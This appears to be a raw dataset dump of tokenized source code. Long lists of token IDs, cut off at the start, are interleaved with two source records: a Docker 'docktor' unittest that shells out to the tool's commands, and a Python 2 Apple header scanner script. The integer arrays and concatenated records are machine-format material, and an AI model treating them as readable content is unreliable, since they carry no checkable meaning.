29930,
29896,
29900,
29889,
29900,
29897,
13,
9651,
5974,
29889,
4397,
29898,
2230,
29897,
13,
308,
13,
1678,
2537,
353,
14770,
29889,
4532,
580,
13,
1678,
4853,
353,
14770,
29889,
1491,
5317,
29898,
29896,
29896,
29896,
29897,
13,
1678,
14770,
29889,
7720,
580,
13,
268,
13,
1678,
14770,
29889,
1557,
2620,
29898,
2481,
29892,
20097,
29892,
29883,
2433,
8517,
742,
29879,
29922,
29941,
29900,
29892,
22976,
2433,
29877,
742,
1643,
2433,
3596,
2522,
2361,
1495,
13,
1678,
14770,
29889,
1557,
2620,
29898,
4013,
2481,
29892,
4013,
20097,
29892,
29883,
2433,
1127,
742,
29879,
29922,
29946,
29900,
29892,
22976,
2433,
29985,
742,
1643,
2433,
4013,
23613,
1495,
13,
268,
13,
1678,
4853,
29889,
842,
29918,
29891,
2576,
29898,
29900,
29889,
29900,
29892,
29896,
29900,
29889,
29900,
29897,
13,
1678,
1029,
29887,
353,
2533,
29898,
2481,
6802,
2435,
29898,
2481,
29897,
13,
1678,
4853,
29889,
842,
29918,
29916,
2576,
29898,
1195,
29898,
2481,
6817,
29900,
29889,
29896,
29930,
485,
29887,
29892,
3317,
29898,
2481,
7240,
29900,
29889,
29896,
29930,
485,
29887,
29897,
13,
1678,
14770,
29889,
29916,
1643,
877,
29909,
19698,
4231,
728,
5974,
313,
1195,
29897,
742,
5657,
2311,
29922,
29896,
29945,
29897,
13,
1678,
14770,
29889,
29891,
1643,
877,
18278,
360,
2593,
3953,
29891,
742,
5657,
2311,
29922,
29896,
29945,
29897,
13,
1678,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
1678,
364,
299,
1807,
353,
525,
4286,
7122,
4197,
8172,
29889,
16957,
29898,
1807,
29889,
294,
18869,
29918,
1026,
2153,
718,
1347,
29889,
7501,
1169,
29897,
363,
302,
297,
3464,
29898,
29896,
29900,
29897,
2314,
13,
1678,
1024,
268,
353,
525,
932,
29914,
7959,
29914,
8346,
29914,
26762,
29914,
2230,
29918,
13628,
648,
1836,
2732,
4286,
4830,
29898,
710,
29898,
29878,
299,
1807,
876,
13,
1678,
14770,
29889,
7620,
1003,
29898,
978,
29897,
13,
1678,
14770,
29889,
5358,
29898,
1003,
416,
13,
1678,
736,
1024,
29961,
29941,
17531,
13,
13383,
13383,
13383,
13383,
13383,
13,
29937,
5901,
3519,
304,
1371,
1962,
13,
29937,
13,
1753,
2048,
29918,
5317,
29898,
3571,
29892,
330,
1756,
29892,
8175,
29918,
1853,
29892,
11781,
29918,
333,
1125,
13,
1678,
11073,
353,
6024,
22406,
742,
525,
29903,
735,
742,
525,
2481,
742,
525,
29923,
2608,
362,
742,
525,
29923,
2608,
362,
320,
29876,
624,
29881,
29889,
9481,
29889,
742,
13,
795,
525,
29923,
2608,
362,
320,
29876,
360,
17678,
2033,
13,
1678,
921,
524,
353,
3464,
29898,
2435,
29898,
21134,
876,
13,
13,
1678,
282,
26456,
353,
5159,
13,
13,
1678,
363,
474,
297,
21762,
29901,
13,
4706,
565,
474,
5277,
29871,
29900,
29901,
13,
9651,
282,
26456,
29889,
4397,
14237,
29890,
29955,
29900,
29946,
29900,
29872,
1495,
13,
4706,
1683,
29901,
13,
9651,
282,
26456,
29889,
4397,
14237,
29900,
29955,
29874,
29953,
29946,
29883,
1495,
13,
268,
13,
1678,
2537,
353,
14770,
29889,
4532,
580,
13,
1678,
4853,
29896,
353,
14770,
29889,
1491,
5317,
29906,
7720,
3552,
29906,
29892,
29871,
29906,
511,
313,
29900,
29892,
29871,
29900,
511,
784,
9653,
29922,
29906,
29897,
13,
1678,
14770,
29889,
7720,
580,
13,
1678,
4853,
29896,
29889,
1646,
29898,
29916,
524,
29892,
21762,
29892,
2920,
29922,
29896,
29889,
29900,
29892,
2927,
29922,
29886,
26456,
29897,
13,
1678,
14770,
29889,
29891,
1643,
877,
17518,
749,
742,
4079,
2311,
29922,
29896,
29906,
29897,
13,
1678,
14770,
29889,
3257,
877,
4597,
23881,
5169,
1535,
16032,
749,
1495,
13,
1678,
14770,
29889,
486,
7358,
29898,
29916,
524,
29892,
11073,
29892,
13733,
29922,
29900,
29892,
12244,
29922,
5574,
29897,
13,
13,
1678,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
13,
1678,
396,
2803,
29915,
29879,
679,
278,
4759,
1179,
363,
278,
330,
1756,
1051,
363,
5734,
2459,
13,
1678,
13449,
353,
6024,
2083,
29918,
786,
742,
525,
3754,
742,
525,
12765,
742,
525,
1195,
29918,
2230,
2033,
13,
1678,
4759,
1179,
353,
5159,
13,
1678,
363,
474,
297,
13449,
29901,
13,
4706,
1029,
29887,
353,
679,
29918,
485,
29887,
29898,
710,
29898,
29875,
511,
851,
29898,
25525,
29918,
1853,
876,
13,
4706,
4759,
1179,
29889,
4397,
29898,
485,
29887,
29897,
13,
13,
1678,
282,
26456,
29906,
353,
6024,
29937,
600,
29955,
29888,
29900,
29872,
3788,
29937,
29896,
29888,
29955,
29955,
29890,
29946,
2033,
13,
1678,
4853,
29906,
353,
14770,
29889,
1491,
5317,
29906,
7720,
3552,
29906,
29892,
29871,
29906,
511,
313,
29896,
29892,
29871,
29900,
511,
784,
9653,
29922,
29896,
29897,
13,
1678,
921,
524,
29892,
659,
29879,
353,
3464,
29898,
29906,
511,
518,
29887,
1756,
29961,
29941,
1402,
12483,
1179,
29961,
29941,
5262,
13,
1678,
1375,
29918,
791,
353,
1375,
29898,
29887,
1756,
29961,
29941,
1402,
12483,
1179,
29961,
29941,
2314,
13,
1678,
4236,
29918,
791,
353,
4236,
29898,
29887,
1756,
29961,
29941,
1402,
12483,
1179,
29961,
29941,
2314,
13,
1678,
4853,
29906,
29889,
1646,
29898,
29916,
524,
29892,
791,
29879,
29892,
2920,
29922,
29896,
29889,
29900,
29892,
2927,
29922,
29886,
26456,
29906,
29897,
13,
1678,
4853,
29906,
29889,
842,
29918,
29891,
2576,
29898,
29900,
29889,
29947,
29945,
29930,
1195,
29918,
791,
29892,
29871,
29896,
29889,
29896,
29945,
29930,
3317,
29918,
791,
29897,
13,
1678,
14770,
29889,
29891,
1643,
877,
12881,
728,
5974,
313,
1195,
29897,
742,
4079,
2311,
29922,
29896,
29906,
29897,
13,
1678,
14770,
29889,
486,
7358,
29898,
29916,
524,
29892,
6024,
29907,
10242,
320,
29876,
5974,
742,
525,
29909,
19698,
320,
29876,
5974,
7464,
13733,
29922,
29900,
29892,
12244,
29922,
5574,
29897,
13,
13,
1678,
15983,
29918,
17664,
353,
518,
29925,
905,
29898,
2161,
2780,
29922,
29886,
26456,
29906,
29961,
29900,
1402,
3858,
2433,
29907,
10242,
3436,
713,
5974,
5477,
13,
462,
539,
349,
905,
29898,
2161,
2780,
29922,
29886,
26456,
29906,
29961,
29896,
1402,
3858,
2433,
8875,
3436,
713,
5974,
4286,
4830,
29898,
25525,
29918,
1853,
28166,
13,
1678,
4853,
29906,
29889,
26172,
29898,
3179,
793,
29922,
26172,
29918,
17664,
29892,
1180,
2433,
21064,
1492,
742,
3515,
265,
29922,
8824,
29897,
13,
268,
13,
1678,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
13,
1678,
289,
1144,
29892,
11858,
362,
353,
679,
29918,
29872,
2608,
362,
29918,
8977,
29898,
1004,
15133,
29918,
333,
29892,
8175,
29918,
1853,
29897,
13,
1678,
4853,
29941,
353,
14770,
29889,
1491,
5317,
29906,
7720,
3552,
29906,
29892,
29871,
29906,
511,
313,
29896,
29892,
29871,
29896,
511,
784,
9653,
29922,
29896,
29897,
13,
1678,
4853,
29941,
29889,
5317,
29898,
29890,
1144,
29892,
11858,
362,
29897,
13,
1678,
14770,
29889,
29891,
1643,
877,
29907,
10242,
382,
2608,
362,
313,
29885,
29897,
742,
4079,
2311,
29922,
29896,
29906,
29897,
13,
1678,
14770,
29889,
29916,
1643,
877,
27469,
313,
2460,
29897,
742,
4079,
2311,
29922,
29896,
29900,
29897,
13,
1678,
1029,
29887,
353,
2533,
29898,
29872,
2608,
362,
6802,
2435,
29898,
29872,
2608,
362,
29897,
13,
1678,
4853,
29941,
29889,
842,
29918,
29891,
2576,
29898,
1195,
29898,
29872,
2608,
362,
29897,
448,
29871,
29900,
29889,
29896,
29945,
29930,
485,
29887,
29892,
13,
462,
4236,
29898,
29872,
2608,
362,
29897,
718,
29871,
29900,
29889,
29896,
29945,
29930,
485,
29887,
29897,
13,
1678,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
268,
13,
1678,
364,
299,
1807,
353,
525,
4286,
7122,
4197,
8172,
29889,
16957,
29898,
1807,
29889,
294,
18869,
29918,
1026,
2153,
718,
1347,
29889,
7501,
1169,
29897,
363,
302,
297,
3464,
29898,
29896,
29900,
29897,
2314,
13,
1678,
1024,
268,
353,
525,
932,
29914,
7959,
29914,
8346,
29914,
26762,
29914,
22100,
648,
1836,
2732,
4286,
4830,
29898,
710,
29898,
29878,
299,
1807,
876,
13,
1678,
14770,
29889,
7620,
1003,
29898,
978,
29897,
13,
13,
1678,
396,
910,
338,
478,
24422,
10014,
2965,
29968,
29979,
29892,
2533,
29918,
786,
756,
1063,
4226,
1891,
491,
5418,
350,
2692,
278,
4328,
13,
1678,
396,
4682,
756,
451,
29889,
910,
338,
278,
1959,
982,
304,
4386,
445,
29889,
13,
1678,
6652,
353,
5785,
29898,
535,
3259,
29961,
25525,
29918,
1853,
2314,
13,
1678,
2533,
29918,
786,
259,
353,
330,
1756,
29961,
29900,
14178,
13398,
13,
1678,
2533,
29918,
786,
29918,
29874,
353,
679,
29918,
485,
29887,
703,
2083,
29918,
786,
613,
25525,
29918,
1853,
11877,
13398,
13,
1678,
2923,
268,
353,
330,
1756,
29961,
29906,
29962,
13,
1678,
2923,
29918,
29874,
259,
353,
679,
29918,
485,
29887,
703,
12765,
613,
25525,
29918,
1853,
29897,
13,
1678,
2533,
29918,
3204,
353,
2533,
29918,
786,
448,
2923,
13,
1678,
2533,
29918,
3204,
29918,
29874,
353,
2533,
29918,
786,
29918,
29874,
448,
2923,
29918,
29874,
13,
1678,
396,
2158,
29898,
2083,
29918,
786,
29892,
2533,
29918,
786,
29918,
29874,
29892,
2923,
29892,
2923,
29918,
29874,
29892,
2533,
29918,
3204,
29892,
2533,
29918,
3204,
29918,
29874,
29892,
525,
18267,
4214,
1495,
13,
1678,
396,
2158,
29898,
29887,
1756,
29961,
29900,
1402,
2533,
29918,
786,
29897,
13,
268,
13,
1678,
396,
3455,
29871,
29906,
13,
1678,
11073,
29918,
16533,
353,
6024,
29923,
2608,
320,
29876,
402,
475,
742,
525,
12810,
29887,
382,
2608,
320,
29876,
402,
475,
742,
525,
29923,
2608,
320,
29876,
365,
2209,
742,
525,
12810,
29887,
382,
2608,
320,
29876,
365,
2209,
2033,
13,
1678,
11073,
353,
6024,
29896,
3788,
29906,
3788,
29941,
3788,
29946,
2033,
13,
1678,
1819,
353,
518,
2083,
29918,
786,
29892,
2533,
29918,
786,
29918,
29874,
29892,
2533,
29918,
3204,
29892,
2533,
29918,
3204,
29918,
29874,
29962,
13,
1678,
1819,
353,
518,
29916,
29914,
13398,
363,
921,
297,
1819,
29962,
13,
1678,
2537,
29906,
353,
14770,
29889,
4532,
580,
13,
1678,
4853,
29906,
29906,
353,
14770,
29889,
1491,
5317,
29898,
29896,
29896,
29896,
29897,
13,
1678,
282,
26456,
29941,
353,
6024,
29937,
600,
29955,
29888,
29900,
29872,
3788,
29937,
29896,
29888,
29955,
29955,
29890,
29946,
3788,
29937,
600,
29955,
29888,
29900,
29872,
3788,
29937,
29896,
29888,
29955,
29955,
29890,
29946,
2033,
13,
1678,
4853,
29906,
29906,
29889,
1646,
29882,
29898,
21134,
29892,
1819,
29892,
7595,
2433,
5064,
742,
2927,
29922,
29886,
26456,
29941,
29892,
3171,
29922,
29896,
29889,
29900,
29897,
13,
1678,
4853,
29906,
29906,
29889,
842,
29918,
3637,
860,
21134,
29898,
21134,
29918,
16533,
29897,
13,
1678,
4853,
29906,
29906,
29889,
262,
1765,
29918,
29891,
8990,
580,
29871,
396,
11073,
1303,
2246,
29899,
517,
29899,
8968,
13,
1678,
4853,
29906,
29906,
29889,
842,
29918,
29916,
1643,
877,
29923,
2608,
362,
402,
475,
29914,
29931,
2209,
21981,
1891,
491,
6652,
749,
313,
29885,
29914,
2460,
29897,
1495,
13,
1678,
14770,
29889,
3257,
703,
29954,
7024,
5169,
3698,
1159,
13,
1678,
1024,
29918,
29887,
1756,
353,
525,
932,
29914,
7959,
29914,
8346,
29914,
26762,
29914,
29887,
1756,
648,
1836,
2732,
4286,
4830,
29898,
710,
29898,
29878,
299,
1807,
876,
13,
1678,
14770,
29889,
7720,
580,
13,
1678,
14770,
29889,
7620,
1003,
29898,
978,
29918,
29887,
1756,
29897,
13,
1678,
14770,
29889,
5358,
29898,
1003,
416,
13,
1678,
14770,
29889,
5358,
29898,
1003,
29906,
416,
13,
1678,
736,
518,
978,
29961,
29941,
29901,
1402,
1024,
29918,
29887,
1756,
29961,
29941,
29901,
5262,
13,
13383,
13383,
13383,
2277,
13,
29937,
25679,
16507,
2891,
29911,
4214,
13,
13383,
13383,
13383,
2277,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
3758,
323,
3289,
17557,
13,
29937,
13,
1753,
4576,
29918,
657,
29918,
13604,
29898,
15581,
29892,
5412,
29922,
5574,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
11781,
29918,
333,
29892,
1741,
29918,
3257,
3895,
8175,
29918,
3888,
5754,
8175,
29918,
1853,
353,
1273,
29879,
15606,
6770,
1741,
29918,
3257,
15945,
29908,
13,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
15581,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
4959,
353,
6571,
13,
1678,
363,
1948,
297,
2407,
29901,
13,
4706,
4959,
29961,
798,
29961,
29900,
5262,
353,
1948,
29961,
29896,
29962,
13,
13,
1678,
565,
451,
5412,
29901,
13,
4706,
736,
4959,
13,
13,
1678,
21292,
353,
6571,
13,
1678,
363,
413,
29892,
325,
297,
4959,
29889,
7076,
7295,
13,
4706,
565,
325,
451,
297,
21292,
29901,
13,
9651,
21292,
29961,
29894,
29962,
353,
413,
13,
13,
1678,
5412,
29918,
13604,
353,
6571,
13,
1678,
363,
413,
29892,
325,
297,
21292,
29889,
7076,
7295,
13,
4706,
5412,
29918,
13604,
29961,
29894,
29962,
353,
413,
13,
13,
1678,
736,
5412,
29918,
13604,
13,
13,
1753,
679,
29918,
3696,
29898,
1367,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
1741,
29918,
3257,
3895,
8175,
29918,
3888,
5754,
11781,
29918,
333,
353,
1273,
29879,
15945,
29908,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
1367,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
736,
2407,
29961,
29900,
3816,
29900,
29962,
13,
13,
1753,
679,
29918,
2230,
29898,
1367,
29892,
1741,
29892,
671,
29918,
3696,
29922,
5574,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
11781,
29918,
333,
29892,
1375,
29918,
2230,
3895,
8175,
29918,
3888,
5754,
1741,
29918,
3257,
353,
1273,
29879,
15945,
29908,
13,
1678,
7353,
353,
851,
29898,
3696,
29897,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
15581,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
13,
1678,
396,
361,
7431,
29898,
11651,
29897,
1405,
29871,
29896,
29901,
13,
4706,
396,
2158,
877,
8875,
756,
6571,
6475,
1149,
4759,
6751,
3064,
4286,
4830,
29898,
3696,
29892,
2435,
29898,
11651,
4961,
13,
1678,
931,
29918,
485,
29887,
353,
29871,
29900,
29889,
29900,
13,
1678,
363,
1948,
297,
2407,
29901,
13,
4706,
931,
29918,
485,
29887,
4619,
1948,
29961,
29896,
29962,
13,
1678,
405,
353,
7431,
29898,
11651,
29897,
13,
1678,
931,
29918,
485,
29887,
847,
29922,
405,
13,
1678,
736,
931,
29918,
485,
29887,
13,
13,
1753,
679,
29918,
29887,
1756,
29918,
3888,
29898,
1367,
29892,
1741,
29892,
671,
29918,
3696,
29922,
5574,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
11781,
29918,
333,
29892,
2533,
29918,
786,
29892,
269,
2934,
29892,
2923,
3895,
8175,
29918,
3888,
5754,
11781,
29918,
333,
353,
1273,
29879,
15945,
29908,
13,
1678,
7353,
353,
851,
29898,
1367,
29897,
13,
1678,
565,
671,
29918,
3696,
29901,
13,
4706,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
11781,
29918,
333,
29892,
2533,
29918,
786,
29892,
269,
2934,
29892,
2923,
3895,
8175,
29918,
3888,
5754,
1741,
29918,
3257,
353,
1273,
29879,
15945,
29908,
13,
4706,
7353,
353,
851,
29898,
3696,
29897,
13,
308,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
15581,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
268,
13,
1678,
2582,
353,
518,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29962,
13,
1678,
363,
1948,
297,
2407,
29901,
13,
4706,
2582,
29961,
29900,
29962,
4619,
1948,
29961,
29896,
29962,
13,
4706,
2582,
29961,
29896,
29962,
4619,
1948,
29961,
29906,
29962,
13,
4706,
2582,
29961,
29906,
29962,
4619,
1948,
29961,
29941,
29962,
13,
308,
13,
1678,
405,
353,
7431,
29898,
11651,
29897,
13,
1678,
2582,
29961,
29900,
29962,
847,
29922,
405,
13,
1678,
2582,
29961,
29896,
29962,
847,
29922,
405,
13,
1678,
2582,
29961,
29906,
29962,
847,
29922,
405,
13,
1678,
396,
2158,
877,
9692,
426,
29900,
29913,
6475,
363,
426,
29896,
29913,
4286,
4830,
29898,
29940,
29892,
1741,
876,
13,
1678,
736,
2582,
13,
418,
13,
1753,
679,
29918,
3571,
29898,
25525,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
5046,
29892,
14167,
29892,
2230,
29892,
2083,
29918,
786,
29892,
3754,
29892,
12765,
3895,
21762,
5754,
8175,
29918,
1853,
353,
1273,
29879,
15945,
29908,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
25525,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
1948,
353,
2407,
29961,
29900,
29962,
13,
1678,
21762,
353,
5159,
13,
1678,
363,
474,
297,
1948,
29901,
13,
4706,
21762,
29889,
4397,
29898,
29875,
29897,
13,
1678,
736,
21762,
13,
268,
13,
1753,
679,
29918,
13628,
29898,
6878,
1165,
29892,
8175,
29918,
1853,
1125,
13,
1678,
396,
1670,
3117,
338,
263,
5172,
2346,
304,
437,
445,
541,
306,
8496,
29915,
29873,
679,
372,
1492,
297,
3695,
29945,
6233,
13,
1678,
396,
577,
306,
6153,
373,
856,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
334,
3895,
270,
29918,
5721,
5754,
8175,
29918,
1853,
353,
1273,
29879,
15945,
29908,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
313,
710,
29898,
25525,
29918,
1853,
511,
29871,
876,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
289,
1144,
29892,
14492,
29892,
343,
29879,
29892,
270,
10351,
353,
19997,
19997,
19997,
5159,
13,
1678,
363,
1948,
297,
2407,
29901,
13,
4706,
289,
1144,
29889,
4397,
29898,
798,
29961,
29900,
2314,
13,
4706,
14492,
29889,
4397,
29898,
798,
29961,
29896,
2314,
13,
4706,
343,
29879,
29889,
4397,
29898,
798,
29961,
29906,
2314,
13,
4706,
270,
10351,
29889,
4397,
29898,
798,
29961,
29941,
2314,
13,
308,
13,
1678,
8158,
353,
448,
29896,
29889,
29900,
13,
1678,
363,
22645,
29892,
791,
297,
26985,
29898,
10351,
1125,
13,
4706,
15414,
29871,
353,
270,
10351,
29961,
13140,
14178,
29900,
29889,
29945,
13,
4706,
270,
417,
353,
14492,
29961,
13140,
29962,
448,
15414,
13,
4706,
270,
2918,
353,
14492,
29961,
13140,
29962,
718,
15414,
13,
4706,
565,
313,
6878,
1165,
6736,
270,
417,
29897,
322,
313,
6878,
1165,
529,
270,
2918,
1125,
13,
9651,
8158,
353,
343,
29879,
29961,
13140,
29962,
13,
9651,
2867,
13,
1678,
736,
8158,
13,
13,
1753,
679,
29918,
485,
29887,
29898,
4914,
29918,
978,
29892,
8175,
29918,
1853,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
29871,
16884,
29954,
29898,
1195,
29918,
2230,
511,
16884,
29954,
29898,
2083,
29918,
786,
511,
16884,
29954,
29898,
3754,
511,
16884,
29954,
29898,
12765,
511,
16884,
29954,
29898,
6008,
29897,
3895,
8175,
29918,
3888,
5754,
8175,
29918,
1853,
353,
1273,
29879,
15945,
29908,
13,
1678,
1881,
353,
518,
710,
29898,
25525,
29918,
1853,
4638,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
1881,
29897,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
1162,
29918,
8977,
353,
11117,
1195,
29918,
2230,
2396,
2407,
29961,
29900,
3816,
29900,
1402,
13,
18884,
525,
2083,
29918,
786,
29915,
29871,
584,
2407,
29961,
29900,
3816,
29896,
1402,
13,
18884,
525,
3754,
29915,
259,
584,
2407,
29961,
29900,
3816,
29906,
1402,
13,
18884,
525,
12765,
29915,
1678,
584,
2407,
29961,
29900,
3816,
29941,
1402,
13,
18884,
525,
6008,
29915,
418,
584,
2407,
29961,
29900,
3816,
29946,
12258,
13,
1678,
565,
1897,
29918,
978,
297,
1162,
29918,
8977,
29901,
13,
4706,
736,
5785,
29898,
3757,
29918,
8977,
29961,
4914,
29918,
978,
2314,
13,
1678,
1683,
29901,
13,
4706,
736,
29871,
29900,
29889,
29900,
13,
13,
1753,
679,
29918,
29872,
2608,
362,
29918,
8977,
29898,
1004,
15133,
29918,
333,
29892,
8175,
29918,
1853,
1125,
13,
1678,
4576,
29918,
2622,
29918,
1972,
353,
9995,
6404,
9016,
29892,
29872,
2608,
362,
3895,
330,
1756,
5754,
11781,
29918,
333,
353,
1273,
29879,
15945,
29908,
13,
1678,
1881,
353,
518,
710,
29898,
1004,
15133,
29918,
333,
4638,
13,
1678,
3151,
29889,
7978,
29898,
2850,
29918,
2622,
29918,
1972,
29892,
1881,
29897,
13,
1678,
2407,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
921,
791,
29892,
343,
791,
353,
19997,
5159,
13,
1678,
405,
353,
7431,
29898,
11651,
29897,
13,
1678,
289,
1144,
353,
6571,
13,
1678,
363,
1948,
297,
2407,
29901,
13,
4706,
289,
1144,
29961,
798,
29961,
29900,
5262,
353,
313,
798,
29961,
29900,
1402,
1948,
29961,
29896,
2314,
29871,
13,
13,
1678,
6056,
353,
29871,
313,
29896,
29889,
29900,
847,
5785,
29898,
29940,
876,
334,
313,
7411,
29898,
535,
3259,
29961,
710,
29898,
25525,
29918,
1853,
29897,
2314,
1723,
13,
1678,
363,
1820,
29892,
659,
297,
289,
1144,
29889,
7076,
7295,
13,
4706,
565,
1820,
29995,
29896,
29900,
338,
29871,
29900,
29901,
396,
10032,
278,
3803,
1070,
537,
310,
278,
7049,
13,
9651,
921,
791,
29889,
4397,
29898,
659,
29961,
29900,
29962,
334,
6056,
1723,
13,
9651,
343,
791,
29889,
4397,
29898,
659,
29961,
29896,
29962,
1723,
13,
632,
13,
1678,
736,
518,
29916,
791,
29892,
29891,
791,
29962,
13,
13,
3596,
13634,
353,
6571,
13,
3596,
13634,
1839,
29896,
29900,
29968,
2033,
353,
4576,
29918,
657,
29918,
13604,
703,
29896,
29900,
29968,
1159,
13,
3596,
13634,
1839,
7083,
2033,
353,
4576,
29918,
657,
29918,
13604,
703,
7083,
1159,
13,
13,
2
] |
tools/test.py | nishgowda/docktor | 41 | 86386 | <filename>tools/test.py<gh_stars>10-100
#!/usr/bin/env python3
import unittest
import docker
import os
import time
import subprocess
client = docker.from_env()
class TestDocktor(unittest.TestCase):
def test_healthcheck(self):
os.system('.././bin/./docktor healthcheck')
# waits for container to start then show health
time.sleep(15)
containers = client.containers.list()
for container in containers:
if 'Health' in container.attrs['State']:
out = container.attrs['State']['Health']['Status']
self.assertEqual(out, 'healthy')
def test_heal(self):
containers = client.containers.list()
for c in containers:
container = c.attrs['State']
if 'Health' in container and container['Health']['Status'] != 'healthy':
res = subprocess.check_output('.././bin/./docktor heal ' + c.id, shell=True)
self.assertEqual(res, "Restarted container: " + c.id)
else:
print(c.name + ' is not unhealthy')
def test_aheal(self):
containers = client.containers.list()
for c in containers:
os.system('.././bin/./docktor autoheal ' + c.name)
print('autohealed ' + c.name)
def test_scan(self):
containers = client.containers.list()
for c in containers:
os.system('.././bin/./docktor scan ' + c.id)
if __name__ == "__main__":
unittest.main() | [
1,
529,
9507,
29958,
8504,
29914,
1688,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
5215,
443,
27958,
13,
5215,
10346,
13,
5215,
2897,
13,
5215,
931,
13,
5215,
1014,
5014,
13,
4645,
353,
10346,
29889,
3166,
29918,
6272,
580,
13,
13,
1990,
4321,
29928,
1698,
7345,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
822,
1243,
29918,
354,
4298,
3198,
29898,
1311,
1125,
13,
4706,
2897,
29889,
5205,
877,
636,
6294,
29914,
2109,
6294,
29914,
29881,
1698,
7345,
9045,
3198,
1495,
13,
4706,
396,
11324,
1169,
363,
5639,
304,
1369,
769,
1510,
9045,
13,
4706,
931,
29889,
17059,
29898,
29896,
29945,
29897,
13,
4706,
22637,
353,
3132,
29889,
1285,
475,
414,
29889,
1761,
580,
13,
4706,
363,
5639,
297,
22637,
29901,
13,
9651,
565,
525,
3868,
4298,
29915,
297,
5639,
29889,
5552,
29879,
1839,
2792,
2033,
29901,
13,
18884,
714,
353,
5639,
29889,
5552,
29879,
1839,
2792,
16215,
3868,
4298,
16215,
5709,
2033,
13,
18884,
1583,
29889,
9294,
9843,
29898,
449,
29892,
525,
354,
4298,
29891,
1495,
13,
268,
13,
1678,
822,
1243,
29918,
354,
284,
29898,
1311,
1125,
13,
4706,
22637,
353,
3132,
29889,
1285,
475,
414,
29889,
1761,
580,
13,
4706,
363,
274,
297,
22637,
29901,
13,
9651,
5639,
353,
274,
29889,
5552,
29879,
1839,
2792,
2033,
13,
9651,
565,
525,
3868,
4298,
29915,
297,
5639,
322,
5639,
1839,
3868,
4298,
16215,
5709,
2033,
2804,
525,
354,
4298,
29891,
2396,
13,
18884,
620,
353,
1014,
5014,
29889,
3198,
29918,
4905,
877,
636,
6294,
29914,
2109,
6294,
29914,
29881,
1698,
7345,
540,
284,
525,
718,
274,
29889,
333,
29892,
6473,
29922,
5574,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
690,
29892,
376,
15078,
442,
287,
5639,
29901,
376,
718,
274,
29889,
333,
29897,
13,
9651,
1683,
29901,
13,
18884,
1596,
29898,
29883,
29889,
978,
718,
525,
338,
451,
443,
354,
4298,
29891,
1495,
13,
268,
13,
1678,
822,
1243,
29918,
29874,
354,
284,
29898,
1311,
1125,
13,
4706,
22637,
353,
3132,
29889,
1285,
475,
414,
29889,
1761,
580,
13,
4706,
363,
274,
297,
22637,
29901,
13,
9651,
2897,
29889,
5205,
877,
636,
6294,
29914,
2109,
6294,
29914,
29881,
1698,
7345,
4469,
354,
284,
525,
718,
274,
29889,
978,
29897,
13,
9651,
1596,
877,
6921,
354,
7943,
525,
718,
274,
29889,
978,
29897,
13,
13,
1678,
822,
1243,
29918,
16192,
29898,
1311,
1125,
13,
4706,
22637,
353,
3132,
29889,
1285,
475,
414,
29889,
1761,
580,
13,
4706,
363,
274,
297,
22637,
29901,
13,
9651,
2897,
29889,
5205,
877,
636,
6294,
29914,
2109,
6294,
29914,
29881,
1698,
7345,
12812,
525,
718,
274,
29889,
333,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
443,
27958,
29889,
3396,
580,
2
] |
Mac/Modules/launch/launchscan.py | jasonadu/Python-2.5 | 1 | 149824 | <reponame>jasonadu/Python-2.5
# Scan an Apple header file, generating a Python file of generator calls.
import sys
import os
from bgenlocations import TOOLBOXDIR, BGENDIR
sys.path.append(BGENDIR)
from scantools import Scanner
LONG = "LaunchServices"
SHORT = "launch"
OBJECT = "NOTUSED"
def main():
input = LONG + ".h"
output = SHORT + "gen.py"
defsoutput = TOOLBOXDIR + LONG + ".py"
scanner = MyScanner(input, output, defsoutput)
scanner.scan()
scanner.close()
scanner.gentypetest(SHORT+"typetest.py")
print "=== Testing definitions output code ==="
execfile(defsoutput, {}, {})
print "=== Done scanning and generating, now importing the generated code... ==="
exec "import " + SHORT + "support"
print "=== Done. It's up to you to compile it now! ==="
